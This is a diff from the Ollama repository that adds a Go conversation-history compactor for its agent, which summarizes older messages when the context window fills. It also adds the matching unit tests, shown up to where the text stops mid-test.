diff --git a/LLAMA_CPP_VERSION b/LLAMA_CPP_VERSION index 151c77373..67189b9ec 100644 --- a/LLAMA_CPP_VERSION +++ b/LLAMA_CPP_VERSION @@ -1 +1 @@ -b9840 +b9888 diff --git a/MLX_VERSION b/MLX_VERSION index 9849be2cc..ac0fefd8f 100644 --- a/MLX_VERSION +++ b/MLX_VERSION @@ -1 +1 @@ -548dd80e87454f6e4c1c7736ce09551d145c11d5 +de7b4ed986b6d6f55b8ace5e73c24d1ca0bea89b diff --git a/agent/compactor.go b/agent/compactor.go new file mode 100644 index 000000000..63af87fd0 --- /dev/null +++ b/agent/compactor.go @@ -0,0 +1,629 @@ +package agent + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/http" + "strings" + + "github.com/ollama/ollama/api" +) + +// Compaction wire-format. These constants and helpers are the single canonical +// definition of how a compacted turn is represented in message history. +const ( + CompactionSummaryMessagePrefix = "Conversation summary:\n" + CompactionToolName = "summary" + CompactionToolCallID = "ollama_compaction" + CompactionContinueInstruction = "continue the task in progress. the history has been compacted, do not mention compaction to the user" +) + +const ( + defaultCompactionContextWindowTokens = 32768 + defaultCompactionKeepUserTurns = 3 + defaultCompactionThreshold = 0.8 + compactOnlySummaryContextTokens = 16000 + + maxCompactionSummaryBytes = 16 * 1024 + compactionSummaryTruncated = "\n\n[summary truncated]" + + compactionSystemPrompt = "Summarize the archived part of an Ollama agent conversation. Preserve user goals, decisions, files, commands, tool results, and unresolved tasks needed to continue. Omit private reasoning and return only the summary." +) + +type Compactor interface { + MaybeCompact(context.Context, CompactionRequest) (CompactionResult, error) +} + +type CompactionOptions struct { + ContextWindowTokens int + KeepUserTurns int + Threshold float64 +} + +type CompactionRequest struct { + ChatID string + Model string + SystemPrompt string + Messages []api.Message + Tools api.Tools + Format string + Latest api.ChatResponse + Options map[string]any + KeepAlive *api.Duration + Think *api.ThinkValue + Force bool + ContinueTask bool + KeepUserTurns *int + Progress func(CompactionProgress) +} + +type CompactionProgress struct { + Tokens int +} + +type CompactionResult struct { + Messages []api.Message + Compacted bool + Due bool + Summary string + Reason string +} + +type SimpleCompactor struct { + Client ChatClient + Options CompactionOptions +} + +func (c *SimpleCompactor) MaybeCompact(ctx context.Context, req CompactionRequest) (CompactionResult, error) { + result := CompactionResult{Messages: req.Messages} + if c == nil { + return result, nil + } + + result.Due = req.Force || c.shouldCompact(req) + if !result.Due { + return result, nil + } + if c.Client == nil { + result.Reason = "compaction is unavailable" + return result, nil + } + + keepUserTurns := c.keepUserTurns(req.Options) + if req.KeepUserTurns != nil { + keepUserTurns = *req.KeepUserTurns + } + prefix, previousSummary, archive, suffix, _, ok := splitCompactionMessages(req.Messages, keepUserTurns) + if !ok || len(archive) == 0 { + result.Reason = "nothing to compact" + return result, nil + } + + summary, err := c.summarize(ctx, req, previousSummary, archive) + if err != nil { + result.Reason = err.Error() + return result, err + } + summary = truncateCompactionSummary(strings.TrimSpace(summary)) + if summary == "" { + summary, err = c.summarizeEmptyFallback(ctx, req, previousSummary, archive) + if err != nil { + result.Reason = err.Error() + return result, err + } + summary = truncateCompactionSummary(strings.TrimSpace(summary)) + } + if summary == "" { + result.Reason = "summary was empty" + return result, nil + } + + compacted := make([]api.Message, 0, len(prefix)+len(suffix)+2) + compacted = append(compacted, prefix...) + compacted = append(compacted, CompactionSummaryMessages(summary, req.ContinueTask)...) + compacted = append(compacted, suffix...) + result.Messages = compacted + result.Compacted = true + result.Summary = summary + return result, nil +} + +func (c *SimpleCompactor) shouldCompact(req CompactionRequest) bool { + contextWindow := c.contextWindowTokens(req.Options) + threshold := int(float64(contextWindow) * c.threshold()) + if threshold <= 0 { + return false + } + if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold { + return true + } + return estimateCompactionRequestTokens(req) >= threshold +} + +func (c *SimpleCompactor) contextWindowTokens(options map[string]any) int { + return ResolveContextWindowTokens(options, c.Options.ContextWindowTokens) +} + +func (c *SimpleCompactor) keepUserTurns(options map[string]any) int { + contextWindow := c.contextWindowTokens(options) + if contextWindow > 0 && contextWindow < compactOnlySummaryContextTokens { + return 0 + } + if c.Options.KeepUserTurns > 0 { + return c.Options.KeepUserTurns + } + return defaultCompactionKeepUserTurns +} + +func (c *SimpleCompactor) threshold() float64 { + return ResolveCompactionThreshold(c.Options.Threshold) +} + +func ResolveContextWindowTokens(options map[string]any, configured int) int { + if n := intOption(options, "num_ctx"); n > 0 { + return n + } + if configured > 0 { + return configured + } + return defaultCompactionContextWindowTokens +} + +func ResolveCompactionThreshold(configured float64) float64 { + if configured > 0 { + return configured + } + return defaultCompactionThreshold +} + +func (c *SimpleCompactor) summarize(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) { + body, err := compactionPrompt(previousSummary, archive, c.compactionPromptBodyBudgetTokens(req.Options)) + if err != nil { + return "", err + } + + chatReq := &api.ChatRequest{ + Model: req.Model, + Messages: []api.Message{ + { + Role: "system", + Content: compactionSystemPrompt, + }, + { + Role: "user", + Content: body, + }, + }, + Options: req.Options, + Think: req.Think, + } + if req.KeepAlive != nil { + chatReq.KeepAlive = req.KeepAlive + } + + var summary strings.Builder + if err := c.Client.Chat(ctx, chatReq, func(response api.ChatResponse) error { + summary.WriteString(response.Message.Content) + if req.Progress != nil { + tokens := response.EvalCount + if tokens <= 0 { + tokens = estimateCompactionTokens(summary.String()) + } + req.Progress(CompactionProgress{Tokens: tokens}) + } + return nil + }); err != nil { + return "", err + } + return summary.String(), nil +} + +func (c *SimpleCompactor) summarizeEmptyFallback(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) { + retry := req + retry.Think = &api.ThinkValue{Value: false} + summary, err := c.summarize(ctx, retry, previousSummary, archive) + if err == nil { + return summary, nil + } + if !isUnsupportedCompactionThinkError(err) { + return "", err + } + if req.Think == nil { + return "", nil + } + retry.Think = nil + return c.summarize(ctx, retry, previousSummary, archive) +} + +func isUnsupportedCompactionThinkError(err error) bool { + if err == nil { + return false + } + text := strings.ToLower(err.Error()) + if !strings.Contains(text, "think") { + return false + } + var statusErr api.StatusError + if errors.As(err, &statusErr) && statusErr.StatusCode != 0 { + return statusErr.StatusCode == http.StatusBadRequest + } + return strings.Contains(text, "does not support") || strings.Contains(text, "not supported") || strings.Contains(text, "unsupported") +} + +// compactionSummaryMessageForTask renders a compaction summary as the content +// string stored on the synthetic tool-result message. +func compactionSummaryMessageForTask(summary string, continueTask bool) string { + content := CompactionSummaryMessagePrefix + strings.TrimSpace(summary) + if continueTask { + content = strings.TrimSpace(content) + "\n\n" + CompactionContinueInstruction + } + return content +} + +// CompactionSummaryMessages renders a compaction summary as the assistant +// tool-call plus tool-result pair that represents a compacted turn in the +// message history. +func CompactionSummaryMessages(summary string, continueTask bool) []api.Message { + return []api.Message{ + { + Role: "assistant", + ToolCalls: []api.ToolCall{{ + ID: CompactionToolCallID, + Function: api.ToolCallFunction{ + Name: CompactionToolName, + }, + }}, + }, + { + Role: "tool", + ToolName: CompactionToolName, + ToolCallID: CompactionToolCallID, + Content: compactionSummaryMessageForTask(summary, continueTask), + }, + } +} + +func (c *SimpleCompactor) compactionPromptBodyBudgetTokens(options map[string]any) int { + contextWindow := c.contextWindowTokens(options) + threshold := int(float64(contextWindow) * c.threshold()) + if threshold <= 0 { + return 0 + } + systemTokens := estimateCompactionTokens("system") + estimateCompactionTokens(compactionSystemPrompt) + userRoleTokens := estimateCompactionTokens("user") + budget := threshold - systemTokens - userRoleTokens + if budget <= 0 { + return 0 + } + return budget +} + +func truncateCompactionSummary(summary string) string { + if len(summary) <= maxCompactionSummaryBytes { + return summary + } + limit := maxCompactionSummaryBytes - len(compactionSummaryTruncated) + if limit < 0 { + limit = 0 + } + var b strings.Builder + for _, r := range summary { + if b.Len()+len(string(r)) > limit { + break + } + b.WriteRune(r) + } + return strings.TrimSpace(b.String()) + compactionSummaryTruncated +} + +func estimateCompactionTokens(text string) int { + text = strings.TrimSpace(text) + if text == "" { + return 0 + } + return max(1, (len([]rune(text))+3)/4) +} + +func estimateMessagesTokens(messages []api.Message) int { + var total int + for _, msg := range messages { + total += estimateCompactionTokens(msg.Role) + total += estimateCompactionTokens(msg.Content) + total += estimateCompactionTokens(msg.Thinking) + total += estimateCompactionTokens(msg.ToolName) + total += estimateCompactionTokens(msg.ToolCallID) + for _, call := range msg.ToolCalls { + total += estimateCompactionTokens(call.Function.Name) + total += estimateCompactionTokens(call.Function.Arguments.String()) + } + } + return total +} + +func estimateCompactionRequestTokens(req CompactionRequest) int { + requestMessages := sanitizeMessagesForEstimate(req.Messages) + if strings.TrimSpace(req.SystemPrompt) != "" { + requestMessages = make([]api.Message, 0, len(req.Messages)+1) + requestMessages = append(requestMessages, api.Message{Role: "system", Content: strings.TrimSpace(req.SystemPrompt)}) + requestMessages = append(requestMessages, sanitizeMessagesForEstimate(req.Messages)...) + } + + payload := struct { + Messages []api.Message `json:"messages,omitempty"` + Tools api.Tools `json:"tools,omitempty"` + Format json.RawMessage `json:"format,omitempty"` + }{ + Messages: requestMessages, + Tools: req.Tools, + } + if rawFormat, ok := compactionFormatForEstimate(req.Format); ok { + payload.Format = rawFormat + } + if data, err := json.Marshal(payload); err == nil { + return estimateCompactionTokens(string(data)) + } + + total := estimateMessagesTokens(requestMessages) + total += estimateCompactionTokens(req.Tools.String()) + total += estimateCompactionTokens(req.Format) + return total +} + +func (s *Session) estimateRunPromptTokens(opts RunOptions, messages []api.Message) int { + return estimateCompactionRequestTokens(CompactionRequest{ + SystemPrompt: opts.SystemPrompt, + Messages: messages, + Tools: s.availableTools(), + Format: opts.Format, + Options: opts.Options, + }) +} + +func (s *Session) checkPreflightPromptBudget(opts RunOptions, messages []api.Message) error { + contextWindow := s.contextWindowTokens(opts) + if contextWindow <= 0 { + return nil + } + estimated := s.estimateRunPromptTokens(opts, messages) + if estimated < contextWindow { + return nil + } + return fmt.Errorf("prompt is too large for the current context (~%d/%d tokens). Reduce the system prompt or message history, compact the conversation, or use a model with a larger context", estimated, contextWindow) +} + +func (s *Session) checkPostCompactionPromptBudget(opts RunOptions, messages []api.Message) error { + contextWindow := s.contextWindowTokens(opts) + if contextWindow <= 0 { + return nil + } + estimated := s.estimateRunPromptTokens(opts, messages) + if estimated < contextWindow { + return nil + } + return fmt.Errorf("history is still too large after compaction (~%d/%d tokens). Start a fresh request, reduce the system prompt or history, or use a model with a larger context", estimated, contextWindow) +} + +func sanitizeMessagesForEstimate(messages []api.Message) []api.Message { + requestMessages := sanitizeMessagesForRequest(messages) + for i := range requestMessages { + // Image token accounting is model-specific. Without the active model's + // tokenizer and vision accounting, raw image bytes/base64 make the + // estimate look much larger than the prompt the model actually sees. + requestMessages[i].Images = nil + } + return requestMessages +} + +func compactionFormatForEstimate(format string) (json.RawMessage, bool) { + format = strings.TrimSpace(format) + if format == "" { + return nil, false + } + if format == "json" { + return json.RawMessage(`"json"`), true + } + if !json.Valid([]byte(format)) { + return nil, false + } + return json.RawMessage(format), true +} + +func compactionPrompt(previousSummary string, archive []api.Message, maxTokens int) (string, error) { + messages := make([]api.Message, 0, len(archive)) + for _, msg := range archive { + msg.Thinking = "" + msg.Images = nil + messages = append(messages, msg) + } + return renderCompactionPrompt(previousSummary, fitCompactionMessagesToBudget(previousSummary, messages, maxTokens)) +} + +func renderCompactionPrompt(previousSummary string, messages []api.Message) (string, error) { + payload, err := json.MarshalIndent(messages, "", " ") + if err != nil { + return "", fmt.Errorf("marshal compaction messages: %w", err) + } + + var b strings.Builder + if strings.TrimSpace(previousSummary) != "" { + b.WriteString("Previous summary:\n") + b.WriteString(strings.TrimSpace(previousSummary)) + b.WriteString("\n\n") + } + b.WriteString("Messages to archive as JSON:\n") + b.Write(payload) + return b.String(), nil +} + +func fitCompactionMessagesToBudget(previousSummary string, messages []api.Message, maxTokens int) []api.Message { + if maxTokens <= 0 { + return messages + } + fitted := append([]api.Message(nil), messages...) + for range 16 { + body, err := renderCompactionPrompt(previousSummary, fitted) + if err != nil || estimateCompactionTokens(body) <= maxTokens { + return fitted + } + + idx := largestCompactionContentMessage(fitted) + if idx < 0 { + return fitted + } + overageTokens := estimateCompactionTokens(body) - maxTokens + currentRunes := len([]rune(fitted[idx].Content)) + nextRunes := currentRunes - overageTokens*4 - 256 + if nextRunes >= currentRunes { + nextRunes = currentRunes / 2 + } + fitted[idx].Content = truncateToolResultContentTo(fitted[idx].Content, nextRunes) + } + return fitted +} + +func largestCompactionContentMessage(messages []api.Message) int { + idx := -1 + size := 0 + for i, msg := range messages { + n := len([]rune(msg.Content)) + if n > size { + idx = i + size = n + } + } + return idx +} + +func splitCompactionMessages(messages []api.Message, keepUserTurns int) (prefix []api.Message, previousSummary string, archive []api.Message, suffix []api.Message, keptUserTurns int, ok bool) { + if keepUserTurns < 0 { + keepUserTurns = defaultCompactionKeepUserTurns + } + + start := 0 + for start < len(messages) && messages[start].Role == "system" && !isCompactionSummary(messages[start]) { + prefix = append(prefix, messages[start]) + start++ + } + + candidates := make([]api.Message, 0, len(messages)-start) + for i := start; i < len(messages); i++ { + msg := messages[i] + if isCompactionSummary(msg) { + previousSummary = CompactionSummaryText(msg.Content) + continue + } + if isCompactionToolCall(msg) { + if i+1 < len(messages) && isCompactionSummary(messages[i+1]) { + previousSummary = CompactionSummaryText(messages[i+1].Content) + i++ + } + continue + } + candidates = append(candidates, msg) + } + + userTurnIndexes := make([]int, 0, keepUserTurns) + for i := len(candidates) - 1; i >= 0; i-- { + if candidates[i].Role == "user" { + userTurnIndexes = append(userTurnIndexes, i) + } + } + keptUserTurns = keepUserTurns + if len(userTurnIndexes) <= keptUserTurns { + keptUserTurns = len(userTurnIndexes) - 1 + } + if keptUserTurns < 0 { + keptUserTurns = 0 + } + + suffixStart := len(candidates) + if keptUserTurns > 0 { + suffixStart = userTurnIndexes[keptUserTurns-1] + } + if suffixStart <= 0 || len(candidates[:suffixStart]) == 0 { + return prefix, previousSummary, nil, nil, keptUserTurns, false + } + + return prefix, previousSummary, candidates[:suffixStart], candidates[suffixStart:], keptUserTurns, true +} + +func isCompactionToolName(name string) bool { + return name == CompactionToolName +} + +func isCompactionSummary(msg api.Message) bool { + return (msg.Role == "user" || msg.Role == "system" || (msg.Role == "tool" && isCompactionToolName(msg.ToolName))) && + strings.HasPrefix(msg.Content, CompactionSummaryMessagePrefix) +} + +// IsCompactionSummary reports whether msg uses the canonical compaction +// summary message representation. +func IsCompactionSummary(msg api.Message) bool { + return isCompactionSummary(msg) +} + +// CompactionSummaryContent returns the user-visible summary from msg when it +// is a canonical compaction summary. +func CompactionSummaryContent(msg api.Message) (string, bool) { + if !isCompactionSummary(msg) { + return "", false + } + return CompactionSummaryText(msg.Content), true +} + +// IsCompactionToolResult reports whether msg is the synthetic tool result used +// to represent compaction in message history. +func IsCompactionToolResult(msg api.Message) bool { + return msg.Role == "tool" && (isCompactionToolName(msg.ToolName) || msg.ToolCallID == CompactionToolCallID) +} + +// IsCompactionToolCall reports whether msg is the synthetic assistant tool +// call paired with a compaction summary result. +func IsCompactionToolCall(msg api.Message) bool { + return isCompactionToolCall(msg) +} + +func isCompactionToolCall(msg api.Message) bool { + if msg.Role != "assistant" { + return false + } + for _, call := range msg.ToolCalls { + if isCompactionToolName(call.Function.Name) { + return true + } + } + return false +} + +// CompactionSummaryText reverses CompactionSummaryMessages, returning the +// user-visible summary text with the prefix and any continuation instruction +// removed. +func CompactionSummaryText(content string) string { + return strings.TrimSpace(strings.TrimSuffix( + strings.TrimSpace(strings.TrimPrefix(content, CompactionSummaryMessagePrefix)), + CompactionContinueInstruction, + )) +} + +func intOption(options map[string]any, key string) int { + if options == nil { + return 0 + } + switch v := options[key].(type) { + case int: + return v + case int64: + return int(v) + case float64: + return int(v) + case float32: + return int(v) + case json.Number: + n, _ := v.Int64() + return int(n) + default: + return 0 + } +} diff --git a/agent/compactor_test.go b/agent/compactor_test.go new file mode 100644 index 000000000..31437f405 --- /dev/null +++ b/agent/compactor_test.go @@ -0,0 +1,773 @@ +package agent + +import ( + "context" + "net/http" + "strings" + "testing" + + "github.com/ollama/ollama/api" +) + +type scriptedCompactionClient struct { + responses [][]api.ChatResponse + errs []error + requests []*api.ChatRequest +} + +func (c *scriptedCompactionClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error { + c.requests = append(c.requests, req) + i := len(c.requests) - 1 + if i < len(c.responses) { + for _, response := range c.responses[i] { + if err := fn(response); err != nil { + return err + } + } + } + if i < len(c.errs) { + return c.errs[i] + } + return nil +} + +func assertCompactionSummaryPair(t *testing.T, messages []api.Message) { + t.Helper() + if len(messages) != 2 { + t.Fatalf("compaction summary pair len = %d, want 2: %#v", len(messages), messages) + } + if messages[0].Role != "assistant" || len(messages[0].ToolCalls) != 1 || messages[0].ToolCalls[0].Function.Name != CompactionToolName { + t.Fatalf("compaction assistant message = %#v", messages[0]) + } + if messages[0].ToolCalls[0].Function.Arguments.Len() != 0 { + t.Fatalf("compaction summary tool call should not have arguments: %#v", messages[0].ToolCalls[0].Function.Arguments.ToMap()) + } + if messages[1].Role != "tool" || messages[1].ToolName != CompactionToolName || messages[1].ToolCallID != messages[0].ToolCalls[0].ID { + t.Fatalf("compaction tool result = %#v", messages[1]) + } + if !strings.HasPrefix(messages[1].Content, CompactionSummaryMessagePrefix) { + t.Fatalf("compaction tool result missing summary prefix: %#v", messages[1]) + } +} + +func TestSimpleCompactorSummarizesOldMessages(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "summary"}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 16000, + KeepUserTurns: 2, + Threshold: 0.5, + }} + + messages := []api.Message{ + {Role: "system", Content: "stay pinned"}, + {Role: "user", Content: "old request"}, + {Role: "assistant", Content: "old answer", Thinking: "hidden"}, + {Role: "user", Content: "recent one"}, + {Role: "assistant", Content: "recent answer"}, + {Role: "user", Content: "recent two"}, + } + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + ChatID: "chat-1", + Model: "model", + Messages: messages, + Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}}, + }) + if err != nil { + t.Fatal(err) + } + if !result.Compacted { + t.Fatal("expected compaction") + } + compacted := result.Messages + if len(compacted) != 6 { + t.Fatalf("compacted messages = %d, want 6", len(compacted)) + } + if compacted[0].Content != "stay pinned" { + t.Fatalf("first message = %#v", compacted[0]) + } + if result.Summary != "summary" { + t.Fatalf("result summary = %q", result.Summary) + } + assertCompactionSummaryPair(t, compacted[1:3]) + if compacted[3].Content != "recent one" || compacted[5].Content != "recent two" { + t.Fatalf("recent turns were not kept: %#v", compacted) + } + if len(client.requests) != 1 { + t.Fatalf("summary requests = %d, want 1", len(client.requests)) + } + if strings.Contains(client.requests[0].Messages[1].Content, "hidden") { + t.Fatal("compaction prompt should omit thinking") + } +} + +func TestSimpleCompactorKeepsOnlySummaryForSmallContext(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "small context summary"}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: compactOnlySummaryContextTokens - 1, + KeepUserTurns: 3, + Threshold: 0.5, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + ChatID: "chat-1", + Model: "model", + ContinueTask: true, + Messages: []api.Message{ + {Role: "system", Content: "pinned"}, + {Role: "user", Content: "old request"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "latest request"}, + }, + Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}}, + }) + if err != nil { + t.Fatal(err) + } + if !result.Compacted { + t.Fatal("expected compaction") + } + if len(result.Messages) != 3 { + t.Fatalf("messages = %#v, want system plus compaction summary pair", result.Messages) + } + if result.Messages[0].Content != "pinned" { + t.Fatalf("leading system message not kept: %#v", result.Messages) + } + assertCompactionSummaryPair(t, result.Messages[1:]) + if !strings.Contains(result.Messages[2].Content, CompactionContinueInstruction) { + t.Fatalf("tool result missing continue instruction: %q", result.Messages[2].Content) + } +} + +func TestSimpleCompactorAddsContinueTaskInstructionOnlyToToolResult(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "summary"}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 100, + KeepUserTurns: 1, + Threshold: 0.5, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + ChatID: "chat-1", + Model: "model", + ContinueTask: true, + Messages: []api.Message{ + {Role: "user", Content: "old request"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "recent request"}, + }, + Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}}, + }) + if err != nil { + t.Fatal(err) + } + if result.Summary != "summary" { + t.Fatalf("result summary = %q", result.Summary) + } + content := result.Messages[1].Content + if !strings.Contains(content, CompactionContinueInstruction) { + t.Fatalf("tool result missing continue instruction: %q", content) + } + if got := CompactionSummaryText(content); got != "summary" { + t.Fatalf("visible summary text = %q", got) + } +} + +func TestSimpleCompactorTruncatesOversizedSummary(t *testing.T) { + longSummary := strings.Repeat("x", maxCompactionSummaryBytes+1024) + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: longSummary}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 100, + KeepUserTurns: 1, + Threshold: 0.5, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + ChatID: "chat-1", + Model: "model", + Messages: []api.Message{ + {Role: "user", Content: "old one"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "recent one"}, + }, + Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}}, + }) + if err != nil { + t.Fatal(err) + } + if !result.Compacted { + t.Fatal("expected compaction") + } + if len(result.Summary) > maxCompactionSummaryBytes { + t.Fatalf("summary bytes = %d, want <= %d", len(result.Summary), maxCompactionSummaryBytes) + } + if !strings.HasSuffix(result.Summary, compactionSummaryTruncated) { + t.Fatalf("summary missing truncation marker") + } + if !strings.Contains(result.Messages[1].Content, compactionSummaryTruncated) { + t.Fatalf("compacted message missing truncation marker: %#v", result.Messages) + } +} + +func TestSimpleCompactorRetriesEmptySummaryWithThinkFalse(t *testing.T) { + client := &scriptedCompactionClient{ + responses: [][]api.ChatResponse{ + {{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}}, + {{Message: api.Message{Role: "assistant", Content: "fallback summary"}}}, + }, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 100, + KeepUserTurns: 1, + Threshold: 0.5, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + Model: "model", + Messages: []api.Message{ + {Role: "user", Content: "old request"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "recent request"}, + }, + Force: true, + }) + if err != nil { + t.Fatal(err) + } + if !result.Compacted || result.Summary != "fallback summary" { + t.Fatalf("compaction result = %#v", result) + } + if len(client.requests) != 2 { + t.Fatalf("summary requests = %d, want 2", len(client.requests)) + } + if client.requests[0].Think != nil { + t.Fatalf("first summary request think = %#v, want nil", client.requests[0].Think) + } + if client.requests[1].Think == nil || client.requests[1].Think.Value != false { + t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think) + } +} + +func TestSimpleCompactorIgnoresUnsupportedThinkFalseFallback(t *testing.T) { + client := &scriptedCompactionClient{ + responses: [][]api.ChatResponse{ + {{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}}, + nil, + }, + errs: []error{ + nil, + api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "model does not support thinking"}, + }, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 100, + KeepUserTurns: 1, + Threshold: 0.5, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + Model: "model", + Messages: []api.Message{ + {Role: "user", Content: "old request"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "recent request"}, + }, + Force: true, + }) + if err != nil { + t.Fatal(err) + } + if result.Compacted || result.Reason != "summary was empty" { + t.Fatalf("compaction result = %#v", result) + } + if len(client.requests) != 2 { + t.Fatalf("summary requests = %d, want 2", len(client.requests)) + } + if client.requests[1].Think == nil || client.requests[1].Think.Value != false { + t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think) + } +} + +func TestSimpleCompactorFallsBackToUnsetThinkWhenThinkFalseUnsupported(t *testing.T) { + client := &scriptedCompactionClient{ + responses: [][]api.ChatResponse{ + {{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}}, + nil, + {{Message: api.Message{Role: "assistant", Content: "unset think summary"}}}, + }, + errs: []error{ + nil, + api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "think level is not supported"}, + nil, + }, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 100, + KeepUserTurns: 1, + Threshold: 0.5, + }} + thinkHigh := &api.ThinkValue{Value: "high"} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + Model: "model", + Messages: []api.Message{ + {Role: "user", Content: "old request"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "recent request"}, + }, + Think: thinkHigh, + Force: true, + }) + if err != nil { + t.Fatal(err) + } + if !result.Compacted || result.Summary != "unset think summary" { + t.Fatalf("compaction result = %#v", result) + } + if len(client.requests) != 3 { + t.Fatalf("summary requests = %d, want 3", len(client.requests)) + } + if client.requests[0].Think != thinkHigh { + t.Fatalf("first summary request think = %#v, want original", client.requests[0].Think) + } + if client.requests[1].Think == nil || client.requests[1].Think.Value != false { + t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think) + } + if client.requests[2].Think != nil { + t.Fatalf("unsupported fallback retry think = %#v, want nil", client.requests[2].Think) + } +} + +func TestSimpleCompactorKeepsFewerTurnsForShortChats(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "short summary"}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 16000, + KeepUserTurns: 3, + Threshold: 0.5, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + ChatID: "chat-1", + Model: "model", + Messages: []api.Message{ + {Role: "user", Content: "old request"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "latest request"}, + }, + Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}}, + }) + if err != nil { + t.Fatal(err) + } + if !result.Compacted { + t.Fatal("expected compaction") + } + if len(result.Messages) != 3 { + t.Fatalf("messages = %#v, want compaction tool pair plus latest request", result.Messages) + } + assertCompactionSummaryPair(t, result.Messages[:2]) + if result.Messages[2].Content != "latest request" { + t.Fatalf("latest turn was not kept: %#v", result.Messages) + } +} + +func TestSimpleCompactorCanArchiveWholeShortChat(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "whole summary"}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 100, + KeepUserTurns: 3, + Threshold: 0.5, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + ChatID: "chat-1", + Model: "model", + Messages: []api.Message{ + {Role: "user", Content: "only request"}, + {Role: "assistant", Content: "only answer"}, + }, + Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}}, + }) + if err != nil { + t.Fatal(err) + } + if !result.Compacted { + t.Fatal("expected compaction") + } + if len(result.Messages) != 2 { + t.Fatalf("messages = %#v, want only compaction tool pair", result.Messages) + } + assertCompactionSummaryPair(t, result.Messages) +} + +func TestSimpleCompactorSkipsBelowThreshold(t *testing.T) { + client := &fakeClient{} + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 100, + Threshold: 0.8, + }} + + messages := []api.Message{ + {Role: "user", Content: "one"}, + {Role: "user", Content: "two"}, + {Role: "user", Content: "three"}, + {Role: "user", Content: "four"}, + {Role: "user", Content: "five"}, + } + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + Model: "model", + Messages: messages, + Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 50}}, + }) + if err != nil { + t.Fatal(err) + } + if result.Compacted { + t.Fatal("did not expect compaction") + } + if result.Due { + t.Fatal("below-threshold compaction should not be due") + } + if len(result.Messages) != len(messages) { + t.Fatalf("messages changed below threshold: %#v", result.Messages) + } + if len(client.requests) != 0 { + t.Fatalf("summary requests = %d, want 0", len(client.requests)) + } +} + +func TestSimpleCompactorUsesEstimatedMessagesWhenPromptEvalMissing(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "estimated summary"}}, + }}, + } + compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 100, + KeepUserTurns: 1, + Threshold: 0.8, + }} + + result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{ + Model: "model", + Messages: []api.Message{ + {Role: "user", Content: "old request"}, + {Role: "assistant", Content: "old answer"}, + {Role: "user", Content: "read large output"}, + {Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "read", + }, + }}}, + {Role: "tool", ToolName: "read", ToolCallID: "call-1", Content: strings.Repeat("x", 360)}, + }, + 